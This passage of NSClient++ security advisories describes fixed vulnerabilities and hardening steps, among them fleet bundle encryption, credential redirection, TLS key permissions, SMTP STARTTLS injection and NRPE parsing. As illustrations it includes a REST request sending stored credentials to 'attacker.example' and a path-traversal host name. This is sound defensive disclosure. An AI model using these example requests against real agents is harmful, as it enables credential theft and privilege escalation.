Prometheus scraping.
Fleet: encrypted bundles are opened by the agent, not the server¶
Check your setup · Fixed in: 0.21.0 · Severity: Low
A fleet server distributes configuration, scripts and other files to its
agents as signed bundles. The signature and the published SHA-256 establish
that a bundle arrived as the operator uploaded it, but the server stores and
serves its contents, so anything in a bundle — credentials in a generated
nsclient.ini fragment, a script carrying a token — was readable by whoever
could read the server’s storage or stand in front of it with a valid
certificate.
The agent can now open a bundle the operator sealed in the browser before
upload (enc-v1: AES-256-GCM under a 32-byte key, the bundle’s name and
version authenticated alongside the ciphertext). The key reaches the agent out
of band and is never sent to the server:
nscp enroll --bundle-key <key>at enrollment, theFLEET_BUNDLE_KEYinstaller property, ornscp enroll --update-bundle-keyson an already enrolled host. Several keys may be configured so a key can be rotated without a window where neither key works.- The key is stored in the enrollment manifest (
agent-state.json), beside the host’s private key and under the same permissions — not innsclient.ini. - A sealed bundle served under another name or version fails to open rather than being applied, and a bundle that names a configured key but fails to authenticate is refused outright instead of being retried against the remaining keys.
- Plaintext exists only in the sync’s staging directory and is removed on every exit path.
nscp enroll --require-encrypted-bundles (or
FLEET_REQUIRE_ENCRYPTED_BUNDLES=1) additionally refuses every bundle that is
not sealed, for a fleet server that is trusted to distribute configuration but
not to read it. It is held in the manifest rather than in the synced
configuration, so a compromised server cannot switch it off by sending a
bundle that turns it off.
What to do: nothing required — an unsealed bundle is still applied unless you ask for the requirement, and an agent with no key configured behaves exactly as before. If you use the fleet server’s Encryption key feature, hand each agent the key as above; agents without it refuse the sealed bundle rather than applying something they cannot read.
Sensitive settings are redacted in the nscp test settings dump¶
Fixed in: 0.21.0 · Severity: Low
The settings command of the nscp test prompt listed the configured
settings with their values in clear text, including keys a module registered
as sensitive with add_password. The REST read paths and
nscp settings --list were changed to answer *** for those keys in 0.16.2
(Settings values for sensitive keys are redacted on
read); this
listing was not, and it is the one most likely to be pasted into a ticket or
a chat window.
It now redacts the same keys. As with the other read paths, only keys a
loaded module has declared sensitive are covered, and a module reading its
own configuration is unaffected. This is a defense-in-depth change, not an
authorization boundary: the values are still stored in plaintext in
nsclient.ini and readable by anyone who can read that file.
What to do: nothing required. Read the value out of nsclient.ini when
you need the secret itself.
Two ways past the client host-override guard¶
Check your setup · Fixed in: 0.20.0 · Severity: Medium
The guard added in 0.19.0 (see
Client credentials could be sent to a caller-chosen host)
refuses a request that moves a credentialed target’s destination, but it only
recognised a credential in a password or token key. A secret carried inside
the address instead — ?token=SECRET in the URL, or user:password@host —
looked like no credential at all, so host= could redirect it to an attacker’s
server. A target that supplied a credential but named no address of its own had
the caller’s host= recorded as its configured destination, so the guard
compared that host against itself and let the credential travel.
A credential now counts wherever it is written, and a target records only an address it actually names.
What to do: nothing, unless a target of yours keeps its credential inside
address and callers move its destination with host=, port= or
address=. That is now refused, as it already was for a separate password /
token key. The remedies are unchanged: pass the credential with the request,
configure each destination as its own target and select it with target=, or
set allow host override = true on the target.
NRPE and the shared TLS layer: key permissions, handshake deadline and codec fixes¶
Check your setup · Fixed in: 0.20.0 · Severity: High for the generated-key exposure, Low–Medium for the rest
A review of the NRPE path — wire codec, server parser and protocol, both
modules, and the shared socket/TLS layer under them. None of it is remotely
exploitable for code execution past allowed hosts.
- Generated TLS private keys were world-readable.
write_certsused a plainfopen, so an unencrypted private key landed at0644under a normal systemd unit — and a default NRPE start generates that file when it is missing. Worse, the CA branch wrote the CA private key into theca.pemoperators are told to hand to clients, letting any recipient mint certificates that passverify mode = peer-cert. Now0600(restricted DACL on Windows), with the CA key split out toca-key.pem. - The inbound TLS handshake had no deadline. The connection timer was armed only after the handshake completed, so a permitted host could open sockets, send nothing, and pin connections indefinitely. Now armed first.
- The NRPE client never authenticated the server.
verify modedefaults tonone, sossl = truegave encryption with no authentication and undetectable on-path impersonation. The default is unchanged, but the client now logs it once per target, and generated certificates carry a usable SAN instead of localhost only. - A short v3/v4 packet let unchecksummed trailing bytes into the command. The decoder bounded the payload by how many bytes arrived rather than by the declared length the CRC covers, so a small valid packet followed by ~1 KiB of arbitrary bytes had those bytes become the dispatched command.
- 512-bit DH parameters are no longer shipped.
nrpe_dh_512.pemwas unused (the server defaults to 2048) but Logjam-broken, and an operator copying the shipped default inherited it. File and dead default removed. - Smaller fixes: the peer certificate CN is constrained before it becomes a
policy principal,
workarounds/singleno longer go into the TLS verify mask (which ignored them; no verify bit was ever set or cleared by them), every documentedtls versionspelling is accepted, and a set of NRPE codec correctness bugs (wire version 4 unrecognised, premature packet completion, length underflows, a re-sending response loop).
What to do: the upgrade does not touch existing files. Check the
permissions of any certificate NSClient++ generated (chmod 600
…/security/certificate.pem), and if you distributed a generated ca.pem,
regenerate that CA and re-issue client certificates. If dh names
nrpe_dh_512.pem explicitly, point it at ${nrpe-dh}/nrpe_dh_2048.pem before
upgrading.
Undefined-behaviour audit: crash and memory-safety fixes across the agent¶
Fixed in: 0.20.0 · Severity: Medium
After #1499 the C++ tree was scanned for the same class of bug and roughly
seventy findings were fixed. Three could be reached from outside the agent: any
HTTP server it talks to could hang it with a malformed chunked response, an
empty POST /console/exec command could crash it (with the console.exec
grant), and filter_perf sort=normal could crash on the Nagios U marker from
an external script. The rest were memory errors on the default paths of common
Windows checks, races when a module is reloaded or unloaded, and unguarded
arithmetic in thresholds and unit suffixes.
None is known to have been exploited, and none is known to do more than crash or hang the agent.
What to do: nothing beyond upgrading. A few defaults changed as a consequence; see the upgrade note.
A filter that matched nothing crashed the agent¶
Fixed in: 0.19.0 · Severity: High
check_service on Windows terminated the whole nscp process — no result, no
crash report, Windows logging exception code 0xC0000374 (heap corruption) —
whenever its filter expression matched no service. check_service
"filter=name = 'nosuchservice'" was enough, and so was a filter that merely
missed: = is case sensitive, so filter=name = 'spooler' did it too on a
host whose service is named Spooler (#1499).
When nothing matches the filter, the filter framework re-evaluates the
warning and critical expressions with no object bound to the evaluation
context, so that an expression which also reads the summary (… or count = 0)
still reaches a verdict. check_service defaults to not state_is_perfect()
and not state_is_ok(), and both read the service straight off the context
without checking that one is there. That dereferenced an empty optional,
resurrecting a destroyed shared_ptr control block out of the vacated storage,
and the copy taken of it wrote to freed heap memory. check_logfile’s
column() keyword had the same unguarded access, reachable the same way.
The impact is denial of service: the agent dies on every check interval that
carries such a filter, which is exactly the polling a monitoring server does
when it watches for a service that is absent on some hosts. Any host past
allowed hosts could trigger it over NRPE with allow arguments = true, and
any authenticated REST client could. We have no indication the corruption is
usable for anything beyond terminating the process, but it is a write to freed
memory and was treated accordingly.
Both keywords now report an unresolved value when no object is bound, as the
built-in filter keywords already did, and the check returns its documented
empty-result contract (UNKNOWN: No services found). The accessor underneath
them throws a filter error instead of reading the vacated storage, so a keyword
that misses the guard in future is reported rather than corrupting the heap.
What to do: nothing beyond upgrading. Any service= and crit= workaround
adopted to avoid the crash can go back to using filter=.
Client credentials could be sent to a caller-chosen host¶
Check your setup · Fixed in: 0.19.0 · Severity: Medium
The shared client parser loads the module’s default target — password or
token included — and then applies the request’s arguments on top, where
host=, port= and address= move the destination while the credential stays
behind. Any principal allowed to run a client module’s submit_* / check_*
command could therefore have the agent send the configured credential wherever
it liked:
GET /api/v1/queries/submit_nrdp/commands/execute?address=http://attacker.example/nrdp/&command=x&result=0&message=x
Both seeded REST roles carry queries.execute and the core permission policy
is off by default, so a checks-only REST user was enough; over NRPE it needed
the non-default allow arguments = true. The affected modules are the ones
whose targets carry a credential: NSCA, NSCA-NG, NRDP, Icinga, SMTP and NSCP.
A request that moves the destination away from the target’s configured address
is now refused when the credential that would travel is the target’s own. A
target with no credential, a request supplying its own password= / token=,
and a request that does not move the destination are all unaffected. The
comparison is on the resolved address, so a header host entry counts too.
What to do: a request that moves a credentialed target’s destination
without supplying the credential now fails. Pass it with the request, select
another target with target= (which, as part of this change, works for queries
and not just exec), or set allow host override = true on the target to keep
the old behaviour.
REST script uploads were staged at a predictable path¶
Fixed in: 0.19.0 · Severity: Medium
PUT /api/v2/scripts/… (admin only) wrote the body to ${temp}/<name> —
/tmp, or C:\Windows\Temp for a SYSTEM service — with an unchecked
truncating write, then imported it as a command. A local user who created that
file first won a race against the copy, or won outright where the service’s
overwrite was refused and the failure ignored, and the planted content then ran
as the service account.
Stock DEB/RPM installs were not exploitable for code execution: the service
runs as nsclient and the script root is root-owned, so the import fails.
Uploads now go to a randomly named file, created exclusively and owner-only, with every write checked and the file removed once the module has consumed it.
What to do: nothing; the endpoint’s contract is unchanged.
A junction defeated the modern-layout shared folder lockdown¶
Check your setup · Fixed in: 0.19.0 · Severity: Medium
Affects the opt-in, experimental LAYOUT=modern install property and
nscp settings --migrate-layout modern only; legacy installs are untouched.
That layout keeps nsclient.ini, the fleet private key and the TLS material in
%ProgramData%\NSClient++, and locks the folder down by taking ownership and
replacing its DACL. Every step of that was path-based, and a standard user can
create a junction under that name before the installer first runs. The owner
and DACL were then applied to the junction’s target while the link itself
stayed theirs to remove and replace — with a crafted nsclient.ini in its
place, the next service start loaded that configuration as SYSTEM.
Reparse points are refused now, and ownership and the DACL are applied through a handle opened on the entry itself, so a junction fails the install, the migration and service start rather than being secured through.
What to do: on the modern layout, replace a junction at the shared folder
with a real directory, or relocate the folder with a [paths] override in
boot.ini.
collectd metrics no longer fan out over every local interface¶
Check your setup · Fixed in: 0.19.0 · Severity: Low
A CollectdClient target with no address configured falls back to collectd’s
default multicast group, 239.192.74.66:25826. For a multicast target the
sender used to enumerate every local interface of the matching address family
and send a copy of every datagram through each one, so a half-configured target
put the machine’s host name, CPU, memory, uptime and process counts on every
attached layer-2 segment — including ones the operator never meant to reach,
such as a DMZ or guest-network NIC. The collectd network protocol carries no
credentials, and these datagrams were unauthenticated cleartext.
The fan-out is now opt-in. A multicast target sends one copy through the
interface the routing table picks (multicast interface = auto, the default).
multicast interface = all restores the old behaviour, and a comma-separated
list of local IP addresses restricts the fan-out to exactly those interfaces —
an entry that is not a usable local address for the target’s family is reported
and skipped, and a target whose whole list is unusable sends nothing rather
than falling back to the default route.
The metrics themselves are unchanged: the collectd binary protocol as this module speaks it is unsigned cleartext, so a collectd target still belongs on a trusted network or inside a tunnel.
What to do: nothing on a unicast target — the setting is ignored there. If
you rely on a multicast target reaching several segments, set
multicast interface = all (or list the local addresses to send through) on
that target.
Failed WEB authentication now backs off exponentially¶
Fixed in: 0.19.0 · Severity: Low
The block that follows auth rate limit max failures consecutive failed
authentications (default 10) used to be a fixed auth rate limit block
seconds window (default 60 s) that reset the counter, so an attacker could
resume guessing as soon as it lapsed — roughly 14 000 guesses a day per source
address, indefinitely, against the credentials that path carries: Basic auth,
the password header and the legacy ?password= form Icinga’s
check_nscp_api uses. (Bearer/?TOKEN= session tokens are not metered by
the limiter: they are 256-bit CSPRNG values rather than a guessable secret,
and counting an expired token against the limit would let a client with a
stale session lock its own address out of logging back in.)
A further block from the same IP now doubles the wait, up to an hour, and
resets after a successful authentication or an hour of quiet. Only a run that
burned the whole failure budget at machine speed escalates — a slower run keeps
the base delay, so one client retrying a stale password cannot ratchet a shared
NAT or proxy address up to the ceiling and lock everyone behind it out. This is
defense in depth rather than a fix for an exploitable weakness: PBKDF2-SHA256
(100 000 iterations) and a uniform 403 already made this a poor guessing
channel. It does not address an attacker rotating source addresses; the limiter
is per IP by design, keyed on the socket peer rather than a spoofable
X-Forwarded-For.
What to do: nothing. A monitoring probe that deliberately authenticates
with bad credentials will now be blocked for longer; point it at an endpoint
it can authenticate to, or set auth rate limit max failures = 0 for a test
harness.
NRDP submissions warn about an unverified TLS link¶
Fixed in: 0.19.0 · Severity: Low
An https NRDP submission whose verify mode resolves to no peer
verification now logs a message naming the endpoint, as an Icinga submission
already does: the token is a shared secret, and an unverified TLS session
hands it to whichever server answers. It is logged once per target for as long
as the service runs, not on every submission. The connection itself is
unchanged.
The verify mode help text is corrected in the same pass. It recommended
“peer-cert or none for self signed certificates” and listed client-once,
workarounds and single, which the client-side parser rejects. For a
self-signed certificate use peer-cert with ca pointing at it; none
disables verification entirely.
What to do: nothing required. If the message names a target you expected
to be verified, set verify mode = peer (or peer-cert with a ca).
Security hardening across the clients, scripts and filter framework¶
Check your setup · Fixed in: 0.18.1 · Severity: High for NSCA-NG cert-mode targets,
Low–Medium for everything else
One sweep over the outbound client modules (Icinga, NRDP, NSCA, NSCA-NG, check_mk, Elastic, Graphite, syslog and a second round on SMTP), the external-script launcher and the filter framework. Three themes run through it: configuration that silently did not apply, operations that could never time out, and attacker-influenced text reaching another system’s log unscrubbed. None of it is remotely exploitable code execution on a default install; the NSCA-NG and check_mk items are the ones that change what goes on the wire.
Settings that were read but never applied¶
- NSCA-NG cert mode ignored its TLS configuration (High; affects 0.18.0,
use psk = falseonly). The OpenSSL context was configured after the TLS stream had been created from it, andSSL_new()copies the verify mode, certificate, cipher list and version bounds out of the context at creation time — soverify mode = peer-certran with verification off and accepted any certificate, a man-in-the-middle’s included, and the configured client certificate was never presented. The default PSK mode authenticates both ends through the pre-shared key and was never affected. - check_mk client TLS keys were discarded (Medium). The target object
never called
register_all()/notify(), souse ssl,certificate,certificate key,ca,allowed ciphers,verify modeanddhwere parsed and thrown away — the client connected in plaintext whatever the configuration said, and the keys were missing from the reference docs. - An unrecognized NSCA
encryptionvalue meant “no encryption”. A typo (aes-256), or an algorithm not compiled into the build, silently resolved to plaintext on the end carrying it. It is now a hard error naming the available algorithms: theNSCAServermodule refuses to load and anNSCAClientsubmission fails.encryption = noneremains the explicit way to run unencrypted. - Syslog severities and templates did nothing. The per-state severity
options (
ok-severity, …) and thetag_syntax/message_syntaxtarget settings were stored under keys the sender never read, so they parsed fine and silently did nothing — leaving submissions on the emergency fallback below, and settings-defined targets sending an empty tag. ext-scr install --arguments=…wrote to a path nothing reads, so an argument lockdown reported success while leaving arguments enabled.- NSCA server
performance data = falsewas ignored; perfdata is stripped from forwarded submissions again, as documented.
Operations that could never time out¶
Each of these ran with no deadline, so an endpoint that accepted the connection and then stalled held the submitting thread indefinitely — silently stopping passive results until a service restart:
- Icinga API calls, NRDP submissions, Graphite carbon submissions
and the recurring metrics flush, and Elastic bulk submissions. Each is
now bounded by the target’s configured
timeout(default 30 s) as a single budget covering name resolution, connect, TLS handshake and the exchange. NRDP additionally retries transport failures up toretry, each attempt on a fresh connection; Graphite’sretrynever had any effect and is gone. Several of these settings were also looked up in the free-form option map while the framework routes them into typed fields, so a configured value was ignored even where a timeout was honoured. - External scripts. On Unix the single-string shell fallback ran through
popen(), which hides the child PID, sotimeout=was silently unenforced and a hung script wedged a worker thread per invocation. On Windows the read loop counted iterations rather than elapsed time, so a continuously chatty script escaped the timeout entirely and leaked an unkillable process each run. Both launchers now bound the wait by wall-clock deadline. - SMTP did bound its submission, but a budget that expired mid-connect left the cancelled operation’s completion handler queued, to be run by the retry against the next resolved address with references into a stack frame that no longer existed — a use-after-return in a long-running service. Handler state is heap-owned now, and a spent budget ends the endpoint walk instead of retrying into it.
Injection, scrubbing and resource limits¶
- Graphite status paths now go through the same scrub as the perf path.
The
${check_alias}substituted into them can originate from a remote submitter, so an alias carrying a newline injected an extra, attacker-chosen metric line into Graphite (and a;injected carbon tags) — a way to hide a real problem or fabricate one. - Syslog emits the RFC 3164 HOSTNAME field. Without it a conforming
receiver promoted the tag to origin host, so with a tag template expanding
%message%check output chose which host a record was filed under. Every C0 control byte and DEL is neutralised rather than just CR/LF/NUL, and an unknownseverityorfacilityname falls back to<13>(user.notice) instead of<0>— kernel.emergency, which many receivers page orwallon. - Inbound NSCA wire fields are validated before they reach logs and the inbox channel: control characters are stripped from the host and service names (a log-injection vector) and a return code outside 0–3 is clamped to UNKNOWN instead of flowing on as an arbitrary 16-bit integer.
- Filter expressions are capped at 1024 characters and 64 nesting
levels. Both the recursive-descent parser and the AST evaluator recurse with
the shape of the input, so a long or deeply nested expression could exhaust
the thread stack and crash the whole agent — reachable by anyone able to
influence a filter string over the authenticated REST API, or over NRPE with
allow arguments = true. The limits sit an order of magnitude above any real filter, and string literals are exempt from the depth count. - Buffers are bounded: an NRDP response body is capped at 5 MB (previously
unbounded, so a hostile server — or a man-in-the-middle on a plain
http://target — could stream the agent out of memory), captured script output at 8 MiB, and an SMTP reply at 64 KB per line and 100 lines — nothing capped how much a peer could make the client buffer inside its timeout window, so bytes without a line ending, or endless250-continuations, turned a 30-second budget into gigabytes of agent memory. - SMTP reply text is rendered inert before it reaches the log. Error
messages quoted server replies verbatim into the agent log and the submit
response. Anything outside printable US-ASCII is replaced now — the C0
controls and the C1 range (0x80–0x9F), which carries single-byte terminal
escapes such as CSI — so a multi-line reply can no longer forge extra log
lines, and an oversized one is truncated. Two smaller items came with it:
the reply to
STARTTLSmust be exactly220per RFC 3207 rather than any2xx, and AUTH credentials containing a NUL are refused before connecting (a NUL shifts the RFC 4616AUTH PLAINfield boundaries). - The
ext-scr show/deletesandbox resolves symlinks before its containment test; previously a symlink inside the script root pointing outside it let an authenticated admin read or remove files anywhere the service account could reach. On the Windows shell fallback%and^are now refused as well (cmd.exe%VAR%expansion and its escape character), opt-out viaallow nasty characters.
TLS and credentials¶
- Elastic submissions verify the server certificate. Verification was
hardcoded to
none, so anhttps://address validated neither the chain nor the host name while shipping event-log entries, metrics and the agent log. It defaults topeeragainst the platform CA bundle now, withtls version,verify modeandcasettings matching the other HTTP clients, and newuser/passwordandapi keyauthentication — Elasticsearch has enabled security by default since 8.0, which the module previously could not satisfy at all. tls version = 1.2+means “1.2 or later” again. The+was stripped and the value mapped onto a version-pinned OpenSSL method, which pins the maximum too, so the widely used default negotiated TLS 1.2 only and silently excluded 1.3;anyis accepted as the documentation always claimed. The fix is in the shared stack: all HTTP-based clients, the NRPE/NSCA socket clients and servers, andcheck_tcp.- Credentials are masked in the trace log. At log level
tracethe whole target configuration was dumped, printing the rawpassword/tokenvalues; the fix sits in the shared client machinery, so every outbound client module is covered. - Unverified links are called out. An Icinga
httpssubmission whoseverify moderesolves to no peer verification logs a message naming the endpoint, since the API credentials then go to whichever server answers. An empty NSCApasswordwith encryption enabled logs an error too: the key is the password zero-padded with no derivation step, so an empty one is a well-known all-zero key that anyone pastallowed hostscan forge with.
What to do: most installs need nothing. Specifically:
- NSCA-NG cert mode: upgrade if any target sets
use psk = false. A target whose server certificate does not chain to the configuredca(or does not match the host name) will now fail to connect — that is the verification taking effect; fix the certificate, or accept the exposure explicitly withinsecure = true. - check_mk: a target carrying
use ssl = truenow really negotiates TLS, so a plaintext-only server end will start failing — loudly, which is the point. - Elastic over
httpswith a self-signed certificate: pointcaat it, or setverify mode = noneto keep the old insecure behaviour. On Elasticsearch 6.x or older setevent type,metrics typeandnsclient log typeexplicitly — the legacy_typeparameter is no longer sent by default. - NSCA: fix any typo’d
encryptionvalue (that end was silently running plaintext, usually visible as the peer rejecting submissions with a CRC error), and set the same realpasswordon both ends if the new empty-password error appears. If you relied onperformance data = falsewhile it was broken, perfdata really is dropped now. - External scripts: re-run
ext-scr installafter upgrading so an argument lockdown lands on the setting the module actually reads. Treat write access to anyscript pathdirectory, and the ability to configure external-script commands, as equivalent to code execution as the service account. - Slow endpoints: a submission to an unresponsive Icinga, NRDP, Graphite or
Elastic endpoint now fails after
timeoutinstead of hanging — raise it on that target if the endpoint is legitimately slower. Peers negotiating with a+oranyTLS version can now select TLS 1.3; pin an exact version if one misbehaves on it. - Syslog receivers whose parsing rules keyed on the old malformed datagram (no HOSTNAME field) need adjusting — records now arrive attributed to the agent’s host name instead of the tag. Syslog remains cleartext and unauthenticated: keep the path to the server on a trusted segment.
SMTP client security hardening¶
Check your setup · Fixed in: 0.18.0 · Severity: Low–Medium
A review of the SMTPClient module produced a set of fixes to how it sets up
and trusts a submission session. None is remotely exploitable by an
unauthenticated third party on its own — the attacker positions required are a
man in the middle on the path to the mail server, or the ability to submit a
passive result the agent relays to a mail target — but each removes a way the
agent can be made to trust something it should not.
- Data pipelined across the STARTTLS handshake is refused. The client kept
one receive buffer for the whole session, and
read_until()consumes whole segments, so bytes appended to the server’s220STARTTLS greeting stayed buffered across the handshake and were then served to every read that followed. Those bytes arrive in cleartext and are writable by anyone who can inject a packet, yet the rest of the session treated them as though they had come from inside the TLS tunnel — the STARTTLS command/response injection family (CVE-2011-0411 and relatives). Beyond forged capabilities after the upgrade, a prepared run of2xxreplies walks the client throughMAIL,RCPTandDATAand has it report a notification as delivered when nothing was ever sent, which for a monitoring agent means alerts that silently go nowhere. Per RFC 3207 §4 the session is now refused if anything is buffered at handshake time. - The EHLO name is validated before it reaches the wire. The envelope
addresses and the subject were all checked for CRLF injection; the EHLO
argument was interpolated into the command line raw. It defaults to the
submitting sender’s host name, which for a relayed submission comes from the
request header, so a CR or LF in it ended the
EHLOand began a command of the sender’s choosing on a session the agent had already authenticated — theirMAIL FROMandRCPT TO, sent as the agent. Only a host name or an address literal is accepted now, and the check runs before any socket opens. - Server certificates are verified against the agent’s CA bundle.
Verification rested on OpenSSL’s compiled-in default verify paths, which on
Windows do not include the Windows certificate store. The default
security=starttlstherefore failed verification against Gmail, Microsoft 365 and every other public-CA submission service on every Windows agent, and the module’s only escape hatch wasinsecure-skip-verify— so the configuration operators arrived at was the one with verification turned off. Acasetting now defaults to${ca-path}like every other TLS client in the tree. See the upgrade note. - ESMTP capabilities are matched per line rather than by substring. Reply
lines were concatenated with no separator and searched with
find(), so a server’s free text could answer for a capability it never advertised — a greeting naming the hoststarttls.example.comsatisfied the STARTTLS lookup, and the seam between two joined lines formed tokens no line contained. That lookup is what decides whether the session gets encrypted beforeAUTH. - The timeout bounds the whole submission. Every operation took a fresh deadline, and connect took one per resolved address, so a peer answering just inside the deadline on each round trip — or a name resolving to several black-holed addresses — held a submission thread for a large multiple of the configured timeout. Name resolution ran outside the deadline entirely.
insecure-skip-verifyno longer resets itself. Declared as abool_switch, its notifier fired withfalseon every submission that did not name the option, overwriting whatever the target had configured, so the setting never worked from configuration at all. It also rejected the valuedinsecure-skip-verify=truetoken that REST passes. The reset failed towards verifying, so this was not a hole — it is why the setting appeared to do nothing.--source-hostno longer redirects the connection. Shared by every client module, it was registered against the destination container, where the well-knownhostkey routes into the typed address field — so naming a source host pointed the client at that host instead of the configured server, sending the submission (credentials included, for a module that authenticates) somewhere the operator did not intend. It binds to the sender now.SMTPClientandNRDPClientwere not exposed: each registered its own competing copy, which made the option ambiguous and refused outright.
What to do: nothing is required on unix, where ${ca-path} resolves to the
distribution’s own CA bundle. On Windows, an SMTP target that was working
only because insecure-skip-verify = true should have that removed and
retried — certificate verification now succeeds against public providers. A
target pointing at an internal relay with a private CA should name that bundle
in ca rather than waive verification. See
Upgrading for the full list.
NRPE: decoded-argument metachar guard, optional version banner, and consistency fixes¶
Fixed in: 0.18.0 · Severity: Low
A review of the NRPEServer / NRPEClient modules produced a set of
defense-in-depth fixes. None is remotely exploitable on a default install
(the listener still fails closed on allowed hosts and the argument guard
is off by default), but each tightens a rough edge:
- Metachars are now re-checked on the decoded command and arguments.
The
allow nasty characters = falseguard previously ran only on the raw wire bytes, before the configuredencodingwas applied. With a non-UTF-8encodingset, a multi-byte sequence could decode into an ASCII shell metacharacter (|,`,&,>, …) that was not literally present on the wire and so slipped past the ingress filter. The guard now also runs on the decoded strings that are actually dispatched. DownstreamCheckExternalScriptsargv isolation already prevented shell execution, so this closes a filter-bypass, not an RCE. - The unauthenticated
_NRPE_CHECKping reply can stop disclosing the build. A newexpose versionserver setting (defaulttrue, preserving the legacy bannercheck_nrpeexpects) lets operators return a generic “doing fine” message instead of the exact NSClient++ version to any host permitted to open the port. nscp nrpe installnow reads the storedverify mode. It previously queried the value but matched it under the wrong key name, so a re-run silently reset peer verification to its built-in default (peer-cert— a fail-secure direction, but it discarded the operator’s setting).- A cosmetic
std::wstring::nposvsstd::string::nposcomparison in the metachar guard was corrected (both equalSIZE_MAX, so behaviour was unchanged).
What to do: nothing required. To harden further, set
expose version = false and prefer client-certificate authentication over
IP-only filtering — see
Active Monitoring with NRPE.
The decoded-metachar re-check can reject a request that a non-UTF-8
encoding previously let through while allow nasty characters = false;
such a request was meant to be blocked, so this only affects inputs the
guard was always intended to catch.
NRDP client security hardening¶
Check your setup · Fixed in: 0.18.0 · Severity: Low–Medium
A focused hardening pass over the passive submission protocols (NRDPClient,
NSCAClient/NSCAServer) produced a small set of defense-in-depth fixes on
the NRDP side. None is a confirmed remote vulnerability in a default
configuration; they close latent gaps and bring NRDP in line with the
redaction already applied to NSCA.
- A malformed NRDP server response can no longer crash the submitting
agent.
nrdp::data::parse_responsedereferenced the text node of the<status>/<message>elements without a null check, so a response containing an empty element (<status></status>) — which anyone able to answer or tamper with the connection can send, including a man-in-the-middle on a plaintext or unverified link — dereferenced a null pointer and crashed the process rather than throwing. It is now reported as an invalid response. - The NRDP token is no longer written to the trace log. The per-target
configuration is emitted at trace level on every submission and included the
token— a shared secret equivalent to the NSCA password, which was already redacted. It now logs<set>/<unset>, and any credentials embedded in a configuredproxyURL (http://user:pass@host) are redacted to<redacted>@host. - HTTPS submissions no longer silently skip certificate verification when no
verify mode is set. An unset
verify moderesolves toverify_nonein the TLS layer. Configured targets already defaulted topeer, but the barenscp client/REST submission path did not, so anhttps://submission made that way validated neither the certificate chain nor the host name and exposed the token to a man-in-the-middle. That path now defaults topeeras well; plainhttp://is unaffected.
What to do: nothing required for the default install or for targets
configured through settings. If you submit to an https:// NRDP endpoint via
nscp client/REST against a self-signed certificate without a configured
verify mode, add --verify none (or a CA) explicitly — the previous
behaviour was to trust any certificate silently.
WEB server security hardening¶
Check your setup · Fixed in: 0.18.0 · Severity: Low–Medium
A focused hardening pass over the WEBServer module (REST API + web UI)
produced a set of defense-in-depth fixes. None is a confirmed remote
vulnerability in a default configuration; they close latent gaps and
consistency issues.
- Session tokens are drawn from the OpenSSL CSPRNG.
token_store::generate_tokenminted bearer session tokens (and generated admin passwords) withstd::random_device, which the C++ standard does not require to be non-deterministic — some toolchains have historically implemented it as a fixed-seed PRNG, which would make tokens predictable. Tokens now come fromRAND_bytes()(the same CSPRNG already used for password salts), with rejection sampling to keep the alphabet unbiased. A build without OpenSSL still usesstd::random_device(it cannot serve TLS either); a build that has the CSPRNG never silently substitutes the weaker source — ifRAND_bytes()fails, no token or generated password is issued at all and the request fails with a 500 (nscp web add-user/nscp web installreport an RNG failure). Refusing is the correct outcome for a bearer credential, but it does mean a broken OpenSSL RNG blocks logins rather than degrading them; the failure is logged as aSECURITY:error. - Cookie name matching now requires a name boundary. The bundled
mg_get_cookiematched a requested cookie name as a substring, so a client cookie namedeviltokencould satisfy a lookup fortoken. It now requires the match to start at a cookie boundary. The WEBServer module authenticates from headers, not request cookies, so this path was not used for authentication — the fix hardens the exported helper regardless. - The legacy
/auth/logoutroute enforces the allowed-hosts perimeter. Its sibling/auth/tokenalready calledis_allowed(); logout did not, so a host outsideallowed hostscould revoke an observed token with a spoofedUser-Agent. It now applies the same check. - Script / module names may no longer begin with
-. A leading dash could be mistaken for an option flag when the name is later passed as an argument value; interior dashes (check-disk) are unchanged. - The web-UI installer refuses an HTTPS→HTTP redirect. The bundle’s
integrity rests on the TLS channel (the SHA-256 manifest is fetched over the
same connection), so a redirect chain that began on
https://is no longer allowed to drop to cleartext. A protocol-relativeLocation(//host/path) is now resolved as such, inheriting the current scheme, instead of being glued onto the current origin as a path — which both mis-resolved the redirect and hid it from the downgrade check. An operator who explicitly passes anhttp://--urlis unaffected. - The
legacygrant’s startup warning now names/settings/query.pb. In addition to the query/RCE routes it already flagged, theSECURITYwarning now states thatlegacyalso unlocksPOST /settings/query.pb, which reads settings without the redaction the/api/v2/settingsendpoints apply and can write settings — without holdingsettings.get/settings.put. This is a documentation fix; the endpoint’s behaviour is unchanged, andlegacywas already an RCE-equivalent, trusted-only grant.
What to do: nothing required for the default install. If you have a custom
script/module name that begins with -, rename it. If a client outside
allowed hosts relied on the legacy /auth/logout route, move it inside the
perimeter. Review any role that grants legacy — it confers unredacted
settings read and settings write in addition to command execution.
Host name placeholders are sanitized before they land in a local path¶
Fixed in: 0.17.0 · Severity: Low
With host name placeholders now resolving in attachment target paths and in
[/includes] (issue #458), the
system host name is substituted into paths the agent reads and writes with its
service privileges (typically root / SYSTEM). The host name is not fully under
the operator’s control — DHCP can set it on some systems, as can any local
privileged process — so a hostile value such as ../../etc/cron.d/evil must
not be able to redirect where an attachment is written or which file an
include opens. Values substituted into a path are therefore reduced to the
characters a legal RFC-952 host name can contain (letters, digits, ., -,
plus _): anything else becomes _, and a dots-only value (./..) becomes
_. A legitimate host name comes through unchanged; settings urls and the
submit clients’ host name specs are not affected, since there the value never
names a local file. The same expansion pass no longer aborts settings boot if
gethostname() itself fails — the placeholders are then left unresolved.
What to do: nothing required. Only a host name that is not a legal host
name resolves differently, and only in attachment targets and [/includes].
Settings values for sensitive keys are redacted on read¶
Check your setup · Fixed in: 0.16.2 · Severity: Medium · Reported by: yagust
The settings read paths — GET /api/v2/settings/...,
GET /api/v2/settings/descriptions/..., and the nscp settings --list /
--show CLI — returned values for keys registered sensitive (via
add_password / is_sensitive_key) in clear text, while the settings diff
endpoint already masked them. They now return *** for sensitive keys, to
match diff; internal reads a module makes of its own configuration are
unaffected. This is a defense-in-depth / consistency change, not an
authorization boundary: the values remain stored in plaintext in
nsclient.ini (shared with the legacy NRPE/NSCA/NSClient protocols) and are
readable by any principal with write or execute privilege regardless.
What to do: nothing required. Tooling that read a secret back out of
GET /api/v2/settings/... now receives *** for keys registered sensitive.
The legacy WEB permission is flagged and no longer seeded by default¶
Fixed in: 0.16.2 · Severity: Medium · Reported by: yagust
The legacy WEB grant unlocks the deprecated POST /query.pb and
GET /query/{name} endpoints, which dispatch through the same command registry
as the versioned /api/v2/queries API — so a token holding the legacy
permission can run any registered check or command (including any configured
CheckExternalScripts command) even without queries.execute. This is
